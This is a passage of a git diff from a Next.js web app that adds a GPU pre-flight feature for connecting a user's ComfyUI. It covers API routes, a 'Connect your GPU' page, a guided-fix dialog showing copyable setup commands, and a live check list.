+ const ref = new URL(request.url).searchParams.get("ref") ?? "";
+ if (!REF.test(ref)) return Response.json({ error: "Name a tool (ref)" }, { status: 400, headers });
+ const t = gpuTargetFor(request, "read");
+ if (t.kind === "none") return Response.json({ error: "Connect your GPU first.", code: "connect-gpu" }, { status: 409, headers });
+ const plan = await planFor(t, ref, t.kind === "account" ? t.accountId : "owner");
+ if (!plan) return Response.json({ error: "Check your GPU first, or that tool doesn't run on ComfyUI.", code: "no-check" }, { status: 404, headers });
+ return Response.json(plan, { headers });
+}
diff --git a/src/app/api/gpu/readiness/route.ts b/src/app/api/gpu/readiness/route.ts
new file mode 100644
index 00000000..8c4459b7
--- /dev/null
+++ b/src/app/api/gpu/readiness/route.ts
@@ -0,0 +1,17 @@
+import { connection } from "next/server";
+import { preflightOn } from "@/server/gpu/index-file";
+import { readinessView } from "@/server/gpu/readiness-service";
+import { gpuTargetFor } from "@/server/gpu/target";
+
+/**
+ * GPU pre-flight: the readiness board from the viewer's last check (the owner: the studio's own ComfyUI; an
+ * account: the ComfyUI it connected). It never probes; POST /api/gpu/check does. Guests get { connected: false }.
+ */
+export async function GET(request: Request) {
+ await connection();
+ const headers = { "Cache-Control": "private, no-store" };
+ if (!preflightOn()) return Response.json({ connected: false, reason: "off" }, { headers });
+ const t = gpuTargetFor(request, "read");
+ if (t.kind === "none") return Response.json({ connected: false, reason: t.reason }, { headers });
+ return Response.json(readinessView(t), { headers });
+}
diff --git a/src/app/api/gpu/requirements/route.ts b/src/app/api/gpu/requirements/route.ts
new file mode 100644
index 00000000..77953464
--- /dev/null
+++ b/src/app/api/gpu/requirements/route.ts
@@ -0,0 +1,15 @@
+import { connection } from "next/server";
+import { loadIndexRaw } from "@/server/gpu/index-file";
+
+/**
+ * GPU pre-flight: what every workflow needs (workflows/comfyui/requirements.json, built by
+ * scripts/comfy/build-requirements.mjs). Public, like the catalog: it holds nothing of anyone's machine.
+ */
+export async function GET(request: Request) {
+ await connection();
+ const { index, raw } = loadIndexRaw();
+ const etag = `"${index.hash}"`;
+ const headers = { ETag: etag, "Cache-Control": "public, max-age=3600" };
+ if (request.headers.get("if-none-match") === etag) return new Response(null, { status: 304, headers });
+ return new Response(raw, { headers: { ...headers, "Content-Type": "application/json; charset=utf-8" } });
+}
diff --git a/src/app/providers.tsx b/src/app/providers.tsx
index ce7f69ae..3c82ceb8 100644
--- a/src/app/providers.tsx
+++ b/src/app/providers.tsx
@@ -3,7 +3,11 @@
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { ThemeProvider } from "next-themes";
import { useState } from "react";
+import dynamic from "next/dynamic";
import { GuestPrompt } from "@/components/guest-prompt";
+
+/** The GPU pre-flight's guided fix: loaded after the page, listening for "fuobe:gpu-setup". */
+const GuidedFixHost = dynamic(() => import("@/components/gpu/guided-fix").then((m) => m.GuidedFixHost), { ssr: false });
import { Toaster } from "@/components/ui/sonner";
import { TooltipProvider } from "@/components/ui/tooltip";
@@ -18,6 +22,7 @@ export function Providers({ children }: { children: React.ReactNode }) {
{children}
<Toaster position="top-center" gap={8} offset={29} />
<GuestPrompt />
+ <GuidedFixHost />
</TooltipProvider>
</QueryClientProvider>
</ThemeProvider>
diff --git a/src/components/app-sidebar.tsx b/src/components/app-sidebar.tsx
index fee3eab4..240985b9 100644
--- a/src/components/app-sidebar.tsx
+++ b/src/components/app-sidebar.tsx
@@ -342,7 +342,7 @@ function YourGpuChip({ viewer }: { viewer: NonNullable<StatusInfo["viewer"]> })
if (g.connected) {
const vram = g.vramBytes ? `${Math.round(g.vramBytes / 2 ** 30)} GB` : "";
return (
- <IntentLink href="/settings#your-gpu" className={cls}>
+ <IntentLink href="/connect" className={cls}>
<span className="flex items-center gap-2">
<StatusDot ok={g.online} /> Your GPU
<span className="ml-auto">{g.online ? "online" : "offline"}</span>
@@ -358,7 +358,7 @@ function YourGpuChip({ viewer }: { viewer: NonNullable<StatusInfo["viewer"]> })
</span>
);
return viewer.kind === "guest" ? (
- <a href={signInHref("signup", "/settings#your-gpu")} className={cls}>
+ <a href={signInHref("signup", "/connect")} className={cls}>
{body}
</a>
) : (
diff --git a/src/components/gpu/command-block.tsx b/src/components/gpu/command-block.tsx
new file mode 100644
index 00000000..1c763e32
--- /dev/null
+++ b/src/components/gpu/command-block.tsx
@@ -0,0 +1,36 @@
+"use client";
+
+import { Copy } from "lucide-react";
+import { Button } from "@/components/ui/button";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { copyWithToast } from "@/lib/clipboard";
+
+/** Commands to copy: they scroll sideways inside their own box, never the page. */
+export function CommandBlock({ text, label }: { text: string; label: string }) {
+ return (
+ <div className="relative rounded-lg border bg-muted/50">
+ <pre className="max-h-64 overflow-auto p-3 pr-12 font-mono text-[12px] leading-relaxed whitespace-pre">{text}</pre>
+ <Button size="icon-sm" variant="ghost" className="absolute top-1.5 right-1.5" aria-label={`Copy the ${label} commands`} onClick={() => void copyWithToast(text, "Commands copied")}>
+ <Copy />
+ </Button>
+ </div>
+ );
+}
+
+/** Windows (PowerShell) and Mac / Linux (bash) tabs, Windows first on a Windows machine. */
+export function CommandTabs({ bash, powershell, windowsFirst }: { bash: string; powershell: string; windowsFirst?: boolean }) {
+ return (
+ <Tabs defaultValue={windowsFirst === false ? "bash" : "ps"} className="gap-2">
+ <TabsList>
+ <TabsTrigger value="ps">Windows</TabsTrigger>
+ <TabsTrigger value="bash">Mac / Linux</TabsTrigger>
+ </TabsList>
+ <TabsContent value="ps">
+ <CommandBlock text={powershell} label="PowerShell" />
+ </TabsContent>
+ <TabsContent value="bash">
+ <CommandBlock text={bash} label="Mac and Linux" />
+ </TabsContent>
+ </Tabs>
+ );
+}
diff --git a/src/components/gpu/connect-gpu.tsx b/src/components/gpu/connect-gpu.tsx
new file mode 100644
index 00000000..22f4dd7d
--- /dev/null
+++ b/src/components/gpu/connect-gpu.tsx
@@ -0,0 +1,210 @@
+"use client";
+
+import { useQuery, useQueryClient } from "@tanstack/react-query";
+import { CircleAlert, Cpu, Loader2, Sparkles } from "lucide-react";
+import Link from "next/link";
+import { useSearchParams } from "next/navigation";
+import { useEffect, useRef } from "react";
+import { PreflightChecklist } from "@/components/gpu/preflight-checklist";
+import { ReadinessBoard } from "@/components/gpu/readiness-board";
+import { YourGpu } from "@/components/gpu/your-gpu";
+import { Button } from "@/components/ui/button";
+import { Skeleton } from "@/components/ui/skeleton";
+import { useGpuCheck, useGpuReadiness } from "@/hooks/use-gpu";
+import { signInHref, useViewer } from "@/lib/api";
+import { safeNext } from "@/lib/safe-redirect";
+
+/**
+ * "Connect your GPU" (UX §4): where ComfyUI runs (an account's Your GPU form; the owner's is the studio's own
+ * ComfyUI), the live check, then the readiness board. A board older than a minute checks again by itself.
+ */
+function Step({ n, of = 3, done }: { n: number; of?: number; done?: boolean }) {
+ return <span className="text-[12px] text-muted-foreground">{done ? "Done" : `Step ${n} of ${of}`}</span>;
+}
+
+function Card({ children }: { children: React.ReactNode }) {
+ return <div className="rounded-2xl border bg-background p-4 sm:p-6">{children}</div>;
+}
+
+export function ConnectGpu() {
+ const params = useSearchParams();
+ const welcome = params.get("welcome") === "1";
+ const next = safeNext(params.get("next"), typeof window === "undefined" ? "http://localhost" : window.location.origin);
+ const viewer = useViewer().data;
+ const isAccount = !!viewer?.account;
+ const guest = !!viewer && viewer.publicSignup && !viewer.signedIn;
+ const r = useGpuReadiness(!!viewer && !guest);
+ const check = useGpuCheck();
+ const qc = useQueryClient();
+ // The account's own address: when it changes (connected, edited), the board starts over.
+ const gpu = useQuery({
+ queryKey: ["account-gpu"],
+ queryFn: async () => (await (await fetch("/api/account/gpu")).json()) as { gpu: { url: string } | null },
+ enabled: isAccount,
+ });
+ const url = gpu.data?.gpu?.url ?? null;
+ const lastUrl = useRef<string | null | undefined>(undefined);
+ useEffect(() => {
+ if (!isAccount || gpu.isLoading) return;
+ if (lastUrl.current !== undefined && lastUrl.current !== url) void qc.invalidateQueries({ queryKey: ["gpu"] });
+ lastUrl.current = url;
+ }, [url, isAccount, gpu.isLoading, qc]);
+ // Check by itself when there's no check yet, or it's more than a minute old (once per visit).
+ const view = r.data;
+ const auto = useRef<string | null>(null);
+ useEffect(() => {
+ if (!view?.connected || check.running || (view.wait ?? 0) > 0) return;
+ const old = view.checkedAt == null || view.stale || Date.now() - view.checkedAt > 60_000;
+ const key = `${url ?? "install"}`;
+ if (old && auto.current !== key) {
+ auto.current = key;
+ void check.start();
+ }
+ }, [view, check, url]);
+
+ const title = welcome ? "Welcome! Connect your GPU" : "Connect your GPU";
+ const lead = "Make things on your own graphics card with ComfyUI. It's free, private and has no run limit. Fuobe checks what your ComfyUI has, and shows what each studio still needs.";
+ const done = (
+ <div className="flex flex-wrap items-center justify-end gap-2">
+ <Button asChild variant="ghost" className="h-11 sm:h-9">
+ <Link href="/">Not now</Link>
+ </Button>
+ <Button asChild className="h-11 sm:h-9">
+ <Link href={next}>Start creating</Link>
+ </Button>
+ </div>
+ );
+
+ if (!viewer)
+ return (
+ <div className="space-y-4">
+ <Skeleton className="h-10 w-72" />
+ <Skeleton className="h-40 w-full" />
+ </div>
+ );
+
+ const header = (step: number, finished?: boolean) => (
+ <div className="space-y-1">
+ <div className="flex items-center justify-between gap-3">
+ <span className="grid size-10 place-items-center rounded-xl bg-primary text-primary-foreground">
+ <Cpu aria-hidden className="size-5" />
+ </span>
+ <Step n={step} done={finished} />
+ </div>
+ <h1 className="font-heading text-[30px] leading-tight">{title}</h1>
+ <p className="max-w-2xl text-[15px] text-muted-foreground">{lead}</p>
+ </div>
+ );
+
+ if (guest)
+ return (
+ <div className="space-y-6">
+ {header(1)}
+ <Card>
+ <div className="flex items-start gap-3">
+ <Sparkles aria-hidden className="mt-0.5 size-5 shrink-0 text-brand-text" />
+ <div className="min-w-0 space-y-3">
+ <p className="text-[14px] font-medium">Connect your GPU to see what runs on it.</p>
+ <p className="text-[13px] text-muted-foreground">
+ Create a free account, then connect the ComfyUI on your computer. Fuobe checks your graphics card, your models and your add-ons, and gives every studio a
+ state: ready, one step away, or needs a bigger GPU.
+ </p>
+ <div className="flex flex-wrap gap-2">
+ <Button asChild className="h-11 sm:h-9">
+ <Link href={signInHref("signup", "/connect")}>Sign up free</Link>
+ </Button>
+ <Button asChild variant="secondary" className="h-11 sm:h-9">
+ <Link href={signInHref("login", "/connect")}>Log in</Link>
+ </Button>
+ </div>
+ </div>
+ </div>
+ </Card>
+ </div>
+ );
+
+ const reason = view && !view.connected ? view.reason : undefined;
+ if (reason === "off")
+ return (
+ <div className="space-y-6">
+ {header(1)}
+ {isAccount ? (
+ <Card>
+ <YourGpu />
+ </Card>
+ ) : (
+ <p className="text-[14px] text-muted-foreground">The GPU check is switched off on this studio (FUOBE_GPU_PREFLIGHT=0).</p>
+ )}
+ </div>
+ );
+
+ if (isAccount && (reason === "no-gpu" || reason === "refused" || (!view && !gpu.data?.gpu)))
+ return (
+ <div className="space-y-6">
+ {header(1)}
+ <Card>
+ <h2 className="mb-1 text-[16px] font-semibold">Where is ComfyUI running?</h2>
+ {reason === "refused" && <p className="mb-3 text-[13px] text-destructive">Fuobe can&apos;t use this address. Connect your own ComfyUI.</p>}
+ <YourGpu />
+ </Card>
+ {done}
+ </div>
+ );
+
+ const report = view?.report;
+ const problem = view?.problem;
+ const showList = check.running || check.lines.length > 0;
+ return (
+ <div className="space-y-6">
+ {header(report && !check.running ? 3 : 2, !!report && !check.running)}
+ <Card>
+ <div className="flex flex-wrap items-center justify-between gap-2">
+ <h2 className="text-[16px] font-semibold">{check.running ? "Checking your setup" : "Your ComfyUI"}</h2>
+ {isAccount ? (
+ <Link href="/settings#your-gpu" className="text-[13px] text-brand-text underline-offset-2 hover:underline">
+ Change the link
+ </Link>
+ ) : (
+ <Link href="/settings#comfyui" className="text-[13px] text-brand-text underline-offset-2 hover:underline">
+ The studio&apos;s ComfyUI
+ </Link>
+ )}
+ </div>
+ <div className="mt-3">
+ {showList ? (
+ <PreflightChecklist lines={check.lines} running={check.running} />
+ ) : !view ? (
+ <Loader2 className="size-5 animate-spin text-muted-foreground" />
+ ) : view.checkedAt == null ? (
+ <Button className="h-11 sm:h-9" onClick={() => void check.start()}>
+ Check my GPU
+ </Button>
+ ) : (
+ <p className="text-[13px] text-muted-foreground">{report ? "Checked. The board below says what runs." : ""}</p>
+ )}
+ {check.error && (
+ <p className="mt-3 flex items-start gap-2 text-[13px]">
+ <CircleAlert aria-hidden className="mt-0.5 size-4 shrink-0 text-warning" /> {check.error}
+ </p>
+ )}
+ {problem && !check.running && (
+ <div className="mt-3 space-y-2 text-[13px]">
+ <p className="flex items-start gap-2">
+ <CircleAlert aria-hidden className="mt-0.5 size-4 shrink-0 text-destructive" />
+ <span>
+ {view?.problemText}
+ {view?.problemDetail && <span className="block text-[12px] text-muted-foreground">{view.problemDetail}</span>}
+ </span>
+ </p>
+ <Button variant="secondary" className="h-11 sm:h-9" onClick={() => void check.start()}>
+ Check again
+ </Button>
+ </div>
+ )}
+ </div>
+ </Card>
+ {report && <ReadinessBoard view={view!} owner={!isAccount} onCheck={() => void check.start()} checking={check.running} />}
+ {done}
+ </div>
+ );
+}
diff --git a/src/components/gpu/guided-fix.tsx b/src/components/gpu/guided-fix.tsx
new file mode 100644
index 00000000..b5c5f003
--- /dev/null
+++ b/src/components/gpu/guided-fix.tsx
@@ -0,0 +1,337 @@
+"use client";
+
+import { useQueryClient } from "@tanstack/react-query";
+import { CheckCircle2, ChevronRight, Circle, Cpu, Download, Layers, Loader2, Wrench } from "lucide-react";
+import Link from "next/link";
+import { useEffect, useRef, useState } from "react";
+import { CommandTabs } from "@/components/gpu/command-block";
+import { Button } from "@/components/ui/button";
+import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
+import { Dialog, DialogContent, DialogDescription, DialogTitle } from "@/components/ui/dialog";
+import { Sheet, SheetContent, SheetDescription, SheetTitle } from "@/components/ui/sheet";
+import { GPU_SETUP_EVENT, takeGpuRetry, useGpuCheck, useGpuPlan, type GpuSetupDetail } from "@/hooks/use-gpu";
+import { useIsMobile } from "@/hooks/use-mobile";
+import { useEngine } from "@/lib/api";
+import { formatBytes } from "@/lib/gpu/requirements";
+import type { FixPlan, FixStep, Need, WhyCode } from "@/lib/gpu/types";
+import { cn } from "@/lib/utils";
+
+/**
+ * The guided fix (UX §7): a tool's plan where the user is stuck — on Generate, on a chip, on a board row, on a
+ * failed run. P1 sets nothing up by itself: state A shows what the tool needs and the exact commands (Windows and
+ * Mac / Linux), E says why it's by hand, F is "needs a bigger GPU", and once a check finds it all, D offers "Try
+ * again" with the prompt still in the box. The sheet opens with focus on its title, so Enter can't run anything.
+ */
+
+const DOWNLOAD_KINDS = new Set<Need["kind"]>(["model", "model-replace", "lora"]);
+
+/** One plain sentence: why this is by hand. */
+const WHY: Partial<Record<WhyCode, string>> = {
+ "no-manager": "Your ComfyUI doesn't have ComfyUI-Manager, the add-on that installs things for Fuobe. Run these in a terminal instead:",
+ "manual-only": "Fuobe doesn't install things on your computer yet. Run these in a terminal, then check again:",
+};
+
+const VERB: Record<string, string> = { image: "draw", video: "animate", audio: "speak", text: "listen", model3d: "build" };
+
+function itemLine(n: Need): string {
+ if (n.kind === "model-replace") return "to download again";
+ if (DOWNLOAD_KINDS.has(n.kind)) return "to download";
+ if (n.kind === "pack-install") return "to install";
+ if (n.kind === "pack-update") return "to update";
+ if (n.kind === "pack-repair") return "to repair";
+ if (n.kind === "comfy-update") return "to update";
+ return "to do";
+}
+
+function intro(plan: FixPlan, kind?: string): string {
+ const downloads = plan.steps.filter((s) => DOWNLOAD_KINDS.has(s.kind));
+ const packs = plan.steps.filter((s) => s.kind.startsWith("pack-"));
+ if (plan.steps.some((s) => s.kind === "comfy-update")) return "Your ComfyUI is older than this tool needs. Updating it keeps your models and add-ons.";
+ if (plan.steps.some((s) => s.kind === "core-missing")) return "Some of ComfyUI's built-in nodes didn't load on your machine. The ComfyUI window says why.";
+ if (downloads.length && !packs.length) return `The model has to be on your computer before Fuobe can ${VERB[kind ?? ""] ?? "make things"} with it. You only download it once.`;
+ if (packs.length && !downloads.length) return `${plan.name} uses a free ComfyUI add-on. You only add it once.`;
+ return "Here's what it needs on your ComfyUI. You only do this once.";
+}
+
+function StepRow({ n, done }: { n: Need; done?: boolean }) {
+ return (
+ <li className="flex items-start gap-2.5 py-1.5 text-[13px]">
+ {done ? <CheckCircle2 aria-hidden className="mt-0.5 size-4 shrink-0 text-success" /> : <Circle aria-hidden className="mt-0.5 size-4 shrink-0 text-muted-foreground" />}
+ <span className="min-w-0 flex-1">{n.label}</span>
+ {n.sizeBytes ? <span className="shrink-0 tabular-nums text-muted-foreground">{formatBytes(n.sizeBytes)}</span> : null}
+ <span className="w-28 shrink-0 text-right text-[12px] text-muted-foreground">{done ? "already there" : itemLine(n)}</span>
+ </li>
+ );
+}
+
+function Details({ steps }: { steps: FixStep[] }) {
+ return (
+ <Collapsible>
+ <CollapsibleTrigger className="group flex items-center gap-1 text-[13px] text-muted-foreground hover:text-foreground">
+ <ChevronRight aria-hidden className="size-3.5 transition-transform group-data-[state=open]:rotate-90" /> Details (file names, folders, sources)
+ </CollapsibleTrigger>
+ <CollapsibleContent>
+ <ul className="mt-2 space-y-2 text-[12px] text-muted-foreground">
+ {steps.map((s) => (
+ <li key={s.id} className="break-words">
+ <span className="text-foreground">{s.label}</span>: {s.detail}
+ {s.link && (
+ <>
+ {" "}
+ <a href={s.link} target="_blank" rel="noreferrer" className="text-brand-text underline underline-offset-2">
+ Open its page
+ </a>
+ </>
+ )}
+ {/* Text from the viewer's ComfyUI (a traceback): plain text only. */}
+ {s.remote && <pre className="mt-1 max-h-40 overflow-auto rounded-md bg-muted p-2 font-mono text-[11px] whitespace-pre-wrap">{s.remote}</pre>}
+ </li>
+ ))}
+ </ul>
+ </CollapsibleContent>
+ </Collapsible>
+ );
+}
+
+/** The studio's cloud engine (the owner's only: accounts never run on the studio's keys, so plans never offer it to them). */
+function UseCloud({ close, variant }: { close: () => void; variant?: "secondary" }) {
+ const [, setEngine] = useEngine();
+ return (
+ <Button variant={variant} className="h-11 sm:h-9" onClick={() => (setEngine("cloud"), close())}>
+ Use the cloud version
+ </Button>
+ );
+}
+
+interface Actions {
+ retry?: () => void;
+ skip?: () => void;
+ close: () => void;
+}
+
+function PlanState({ plan, kind, actions, checking, onCheck, checkError }: { plan: FixPlan; kind?: string; actions: Actions; checking: boolean; onCheck: () => void; checkError: string | null }) {
+ const real = plan.steps.filter((s) => s.kind !== "restart" && s.kind !== "hf-licence" && s.kind !== "civitai-key");
+ const shown = real.length ? real : plan.steps;
+ const why = WHY[plan.why] ?? WHY["manual-only"]!;
+ const [lo, hi] = plan.etaMin;
+ return (
+ <div className="space-y-4">
+ <p className="text-[13px] text-muted-foreground">{intro(plan, kind)}</p>
+ <ul className="divide-y rounded-lg border px-3">
+ {shown.map((s) => (
+ <StepRow key={s.id} n={s} />
+ ))}
+ {plan.have.slice(0, 6).map((h) => (
+ <StepRow key={h.key} n={h} done />
+ ))}
+ </ul>
+ {plan.downloadBytes > 0 && (
+ <p className="text-[13px]">
+ {formatBytes(plan.downloadBytes)} from Hugging Face · about {lo === hi ? lo : `${lo}–${hi}`} min on fast internet.{" "}
+ <span className="text-muted-foreground">Make sure you have {formatBytes(plan.downloadBytes)} free. It stays on your computer.</span>
+ </p>
+ )}
+ {plan.restart && <p className="text-[13px] text-muted-foreground">ComfyUI loads new add-ons when it starts, so restart it once they&apos;re in. It doesn&apos;t touch your files.</p>}
+ {plan.firstRun.length > 0 && <p className="text-[13px] text-muted-foreground">The first run also downloads a small model by itself, so it takes a minute longer.</p>}
+ {plan.unobservable.length > 0 && <p className="text-[13px] text-muted-foreground">Fuobe can&apos;t check {plan.unobservable.length === 1 ? "one file" : `${plan.unobservable.length} files`} this tool reads by itself.</p>}
+ <Details steps={plan.steps} />
+ <div className="space-y-2 border-t pt-4">
+ <h3 className="text-[14px] font-semibold">Let&apos;s do this one by hand</h3>
+ <p className="text-[13px] text-muted-foreground">{why}</p>
+ <CommandTabs bash={plan.commands.bash} powershell={plan.commands.powershell} windowsFirst={plan.os ? plan.os === "nt" : undefined} />
+ </div>
+ {checkError && <p className="text-[12px] text-destructive">{checkError}</p>}
+ <div className="flex flex-col-reverse gap-2 sm:flex-row sm:flex-wrap sm:items-center">
+ <Button onClick={onCheck} disabled={checking} className="h-11 sm:h-9">
+ {checking ? <Loader2 className="animate-spin" /> : <CheckCircle2 />} I&apos;ve done it. Check again
+ </Button>
+ {plan.alternatives.cloud && <UseCloud close={actions.close} variant="secondary" />}
+ {actions.skip && (
+ <Button variant="ghost" className="h-11 text-muted-foreground sm:h-9" onClick={() => (actions.close(), actions.skip!())}>
+ Run anyway
+ </Button>
+ )}
+ </div>
+ </div>
+ );
+}
+
+function GpuState({ plan, actions }: { plan: FixPlan; actions: Actions }) {
+ const { needGb, haveGb, fit } = plan.vram;
+ return (
+ <div className="space-y-4">
+ <p className="text-[13px] text-muted-foreground">
+ {plan.name} uses about {needGb} GB of graphics memory.{" "}
+ {haveGb ? `Your ${plan.gpu ?? "graphics card"} has ${haveGb} GB.` : "Fuobe didn't find a graphics card it can use on your ComfyUI."}
+ </p>
+ {plan.alternatives.fits?.length ? (
+ <div className="space-y-1">
+ <p className="text-[13px] font-medium">These fit your GPU:</p>
+ <ul className="text-[13px] text-muted-foreground">
+ {plan.alternatives.fits.map((f) => (
+ <li key={f.ref} className="flex items-center gap-2">
+ <CheckCircle2 aria-hidden className={cn("size-3.5", f.state === "ready" ? "text-success" : "text-warning")} />
+ {f.name} · {f.state === "ready" ? "Ready" : "One step away"}
+ </li>
+ ))}
+ </ul>
+ </div>
+ ) : null}
+ <div className="flex flex-col-reverse gap-2 sm:flex-row sm:flex-wrap sm:items-center">
+ {plan.alternatives.cloud && <UseCloud close={actions.close} />}
+ {actions.skip && (
+ <Button variant={plan.alternatives.cloud ? "ghost" : "secondary"} className="h-11 sm:h-9" onClick={() => (actions.close(), actions.skip!())}>
+ Try anyway
+ </Button>
+ )}
+ <Button variant="ghost" className="h-11 sm:h-9" onClick={actions.close}>
+ Close
+ </Button>
+ </div>
+ {actions.skip && <p className="text-[12px] text-muted-foreground">{fit === "tight" ? "It may be slow: ComfyUI borrows ordinary memory." : "It may be very slow, or stop with “out of memory”."}</p>}
+ </div>
+ );
+}
+
+function titleOf(plan: FixPlan | undefined, name: string): { text: string; Icon: typeof Download } {
+ if (!plan) return { text: name, Icon: Wrench };
+ if (plan.state === "ready") return { text: `${plan.name} is ready`, Icon: CheckCircle2 };
+ if (plan.state === "gpu") return { text: `${plan.name} needs a bigger graphics card`, Icon: Cpu };
+ if (plan.state === "unsupported") return { text: `${plan.name} needs a second ComfyUI`, Icon: Layers };
+ const n = plan.steps.filter((s) => s.kind !== "restart" && s.kind !== "hf-licence" && s.kind !== "civitai-key").length || 1;
+ return { text: n === 1 ? `${plan.name} needs one more thing` : `${plan.name} needs ${n} things`, Icon: Download };
+}
+
+function Body({ detail, actions, titleRef }: { detail: GpuSetupDetail; actions: Actions; titleRef: React.RefObject<HTMLHeadingElement | null> }) {
+ const qc = useQueryClient();
+ const q = useGpuPlan(detail.ref);
+ const check = useGpuCheck();
+ const [checked, setChecked] = useState(false);
+ // A plan handed over with the event shows at once; the query refreshes it.
+ const plan = q.data ?? (q.isFetching || !checked ? detail.plan : undefined);
+ const mobile = useIsMobile();
+ const { text, Icon } = titleOf(plan, detail.name ?? plan?.name ?? "Set up this tool");
+ const recheck = async () => {
+ await check.start();
+ setChecked(true);
+ await qc.invalidateQueries({ queryKey: ["gpu", "plan", detail.ref] });
+ };
+ const T = mobile ? SheetTitle : DialogTitle;
+ const D = mobile ? SheetDescription : DialogDescription;
+ return (
+ <div className="flex min-h-0 min-w-0 flex-col gap-4">
+ <div className="flex items-start gap-3 pr-8">
+ <span className={cn("grid size-9 shrink-0 place-items-center rounded-xl", plan?.state === "ready" ? "bg-success/15 text-success" : "bg-brand-faint text-brand-text")}>
+ <Icon aria-hidden className="size-4.5" />
+ </span>
+ <div className="min-w-0">
+ <T ref={titleRef} tabIndex={-1} className="font-sans text-[16px] font-semibold outline-none">
+ {text}
+ </T>
+ <D className="text-[12px] text-muted-foreground">{plan?.gpu ? `On your ${plan.gpu}` : "On your ComfyUI"}</D>
+ </div>
+ </div>
+ <div aria-live="polite" className="sr-only">
+ {check.running ? "Checking your GPU" : plan ? text : ""}
+ </div>
+ {!plan && (q.isLoading || q.isFetching) && <Loader2 className="size-5 animate-spin text-muted-foreground" />}
+ {!plan && q.isError && (
+ <div className="space-y-3 text-[13px]">
+ <p className="text-muted-foreground">{(q.error as Error).message}</p>
+ <Button asChild className="h-11 sm:h-9">
+ <Link href="/connect" onClick={actions.close}>
+ Check your GPU
+ </Link>
+ </Button>
+ </div>
+ )}
+ {plan?.state === "ready" && (
+ <div className="space-y-4">
+ <p className="animate-pop-in text-[13px] text-muted-foreground">{actions.retry ? "Your prompt is still here." : "Everything it needs is on your ComfyUI."}</p>
+ <div className="flex flex-col-reverse gap-2 sm:flex-row">
+ {actions.retry ? (
+ <Button className="h-11 sm:h-9" onClick={() => (actions.close(), actions.retry!())}>
+ Try again
+ </Button>
+ ) : (
+ <Button className="h-11 sm:h-9" onClick={actions.close}>
+ Done
+ </Button>
+ )}
+ <Button asChild variant="ghost" className="h-11 sm:h-9">
+ <Link href="/connect" onClick={actions.close}>
+ Back to the board
+ </Link>
+ </Button>
+ </div>
+ </div>
+ )}
+ {plan?.state === "gpu" && <GpuState plan={plan} actions={actions} />}
+ {plan?.state === "unsupported" && (
+ <div className="space-y-3 text-[13px] text-muted-foreground">
+ <p>This one needs a second ComfyUI running alongside the first, for add-ons that change process-wide settings. Your GPU connects one ComfyUI for now.</p>
+ <Button variant="secondary" className="h-11 sm:h-9" onClick={actions.close}>
+ Close
+ </Button>
+ </div>
+ )}
+ {plan && (plan.state === "almost" || plan.state === "setup") && (
+ <PlanState plan={plan} kind={undefined} actions={actions} checking={check.running} onCheck={() => void recheck()} checkError={check.error} />
+ )}
+ {plan?.state === "unknown" && (
+ <div className="space-y-3 text-[13px] text-muted-foreground">
+ <p>Fuobe couldn&apos;t check your ComfyUI this time.</p>
+ <Button className="h-11 sm:h-9" disabled={check.running} onClick={() => void recheck()}>
+ {check.running && <Loader2 className="animate-spin" />} Check again
+ </Button>
+ </div>
+ )}
+ </div>
+ );
+}
+
+/** Mounted once (Providers): opens on the "fuobe:gpu-setup" event, a Dialog on desktop and a bottom Sheet on phones. */
+export function GuidedFixHost() {
+ const [detail, setDetail] = useState<GpuSetupDetail | null>(null);
+ const [actions, setActions] = useState<{ retry?: () => void; skip?: () => void }>({});
+ const opener = useRef<Element | null>(null);
+ const titleRef = useRef<HTMLHeadingElement | null>(null);
+ const mobile = useIsMobile();
+ useEffect(() => {
+ const on = (e: Event) => {
+ const d = (e as CustomEvent<GpuSetupDetail>).detail;
+ if (!d?.ref) return;
+ opener.current = document.activeElement;
+ const r = takeGpuRetry();
+ setActions(r ? { retry: r.retry, skip: r.skip } : {});
+ setDetail((cur) => (cur && cur.ref === d.ref ? { ...cur, ...d } : d));
+ };
+ window.addEventListener(GPU_SETUP_EVENT, on);
+ return () => window.removeEventListener(GPU_SETUP_EVENT, on);
+ }, []);
+ const close = () => setDetail(null);
+ const focusTitle = (e: Event) => {
+ e.preventDefault();
+ titleRef.current?.focus();
+ };
+ const restore = (e: Event) => {
+ e.preventDefault();
+ (opener.current as HTMLElement | null)?.focus?.();
+ };
+ const body = detail && <Body key={detail.ref} detail={detail} actions={{ ...actions, close }} titleRef={titleRef} />;
+ if (mobile)
+ return (
+ <Sheet open={!!detail} onOpenChange={(o) => !o && close()}>
+ <SheetContent side="bottom" onOpenAutoFocus={focusTitle} onCloseAutoFocus={restore} className="max-h-[85svh] gap-0 overflow-y-auto rounded-t-2xl px-4 pt-4 pb-[max(16px,env(safe-area-inset-bottom))]">
+ {body}
+ </SheetContent>
+ </Sheet>
+ );
+ return (
+ <Dialog open={!!detail} onOpenChange={(o) => !o && close()}>
+ <DialogContent onOpenAutoFocus={focusTitle} onCloseAutoFocus={restore} className="max-h-[90svh] grid-cols-[minmax(0,1fr)] overflow-y-auto rounded-[var(--radius-sheet,1rem)] sm:max-w-[560px]">
+ {body}
+ </DialogContent>
+ </Dialog>
+ );
+}
diff --git a/src/components/gpu/preflight-checklist.tsx b/src/components/gpu/preflight-checklist.tsx
new file mode 100644
index 00000000..90750270
--- /dev/null
+++ b/src/components/gpu/preflight-checklist.tsx
@@ -0,0 +1,65 @@
+"use client";
+
+import { CheckCircle2, Circle, CircleAlert, CircleX, Loader2 } from "lucide-react";
+import type { CheckLine } from "@/lib/gpu/types";
+import { cn } from "@/lib/utils";
+
+const STEPS: { step: CheckLine["step"]; waiting: string }[] = [
+ { step: "found", waiting: "Looking for ComfyUI" },
+ { step: "gpu", waiting: "Reading your graphics card" },
+ { step: "models", waiting: "Looking through your models" },
+ { step: "addons", waiting: "Checking add-ons" },
+ { step: "manager", waiting: "Looking for ComfyUI-Manager" },
+ { step: "match", waiting: "Matching the studios to your GPU" },
+];
+
+const WORD: Record<CheckLine["state"], string> = { running: "checking", done: "done", warn: "needs you", fail: "needs you" };
+
+/**
+ * The live checklist (UX §4 step 2): one line per step, each changing in place as its answer comes, never
+ * reset. One polite live region says what changed; icons are decoration, the state is also a word.
+ */
+export function PreflightChecklist({ lines, running }: { lines: CheckLine[]; running: boolean }) {
+ const failed = lines.some((l) => l.step === "found" && l.state === "fail");
